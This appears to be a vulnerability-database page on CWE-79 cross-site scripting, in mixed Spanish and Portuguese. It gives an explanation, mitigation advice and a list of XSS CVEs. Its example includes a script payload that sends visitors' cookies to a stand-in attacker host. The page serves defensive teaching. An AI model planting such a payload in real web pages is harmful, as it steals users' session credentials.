Fallos del tipo CWE-79

29.495 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2023-2817MEDIUMA post-authentication stored cross-site scripting vulnerability exists in Craft CMS versions <= 4.4.11. HTML, including script tags can be iEPSS 0.4%CVE-2021-47838MEDIUMMarkright 1.0 - Persistent Cross-Site ScriptingEPSS 0.4%CVE-2024-53930MEDIUMWikiDocs before 1.0.65 allows stored XSS by authenticated users via data that comes after $$\\, which is mishandled by a KaTeX parser.EPSS 0.4%CVE-2026-53693MEDIUMMISP BSimVis stored cross-site scripting in tag and cluster rendering paths via unescaped tag metadata and UI labelsEPSS 0.4%CVE-2025-12460MEDIUMStored XSS vulnerability in Afterlogic Aurora webmailEPSS 0.4%CVE-2021-47698MEDIUMNagios XI < 5.8.7 XSS in Core UI Views URL handlingEPSS 0.4%CVE-2021-47835MEDIUMFreeter 1.2.1 - Persistent Cross-Site ScriptingEPSS 0.4%CVE-2023-0152MEDIUMWP Multi Store Locator <= 2.4 - Contributor+ Stored XSSEPSS 0.4%CVE-2024-34437MEDIUMWordPress Form Maker by 10Web plugin <= 1.15.24 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2024-6181MEDIUMLabVantage LIMS cross site scriptingEPSS 0.4%CVE-2024-1791MEDIUMCodeMirror Blocks <= 1.2.4 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.4%CVE-2024-6182MEDIUMLabVantage LIMS cross site scriptingEPSS 0.4%CVE-2026-66918HIGHDOM-Based Cross-Site Scripting via Unsanitized SVG Node IconsEPSS 0.4%CVE-2023-0374MEDIUMW4 Post List < 2.4.6 - Contributor+ Stored XSSEPSS 0.4%CVE-2026-47376MEDIUMNocoDB: Reflected Cross-Site Scripting via Password Reset TokenEPSS 0.4%CVE-2022-44787MEDIUMAn issue was discovered in Appalti & Contratti 9.12.2. The web applications are vulnerable to a Reflected Cross-Site Scripting issue. The idEPSS 0.4%CVE-2026-73848MEDIUMEmlog: Stored XSS via Tag Name in Article EditorEPSS 0.4%CVE-2022-31743MEDIUMFirefox's HTML parser did not correctly interpret HTML comment tags, resulting in an incongruity with other browsers. This could have been uEPSS 0.4%CVE-2020-3431MEDIUMCisco Small Business RV Series Routers Cross-Site Scripting VulnerabilityEPSS 0.4%CVE-2021-31740MEDIUMSEPPMail's web frontend, user input is not embedded correctly in the web page and therefore leads to cross-site scripting vulnerabilities (XEPSS 0.4%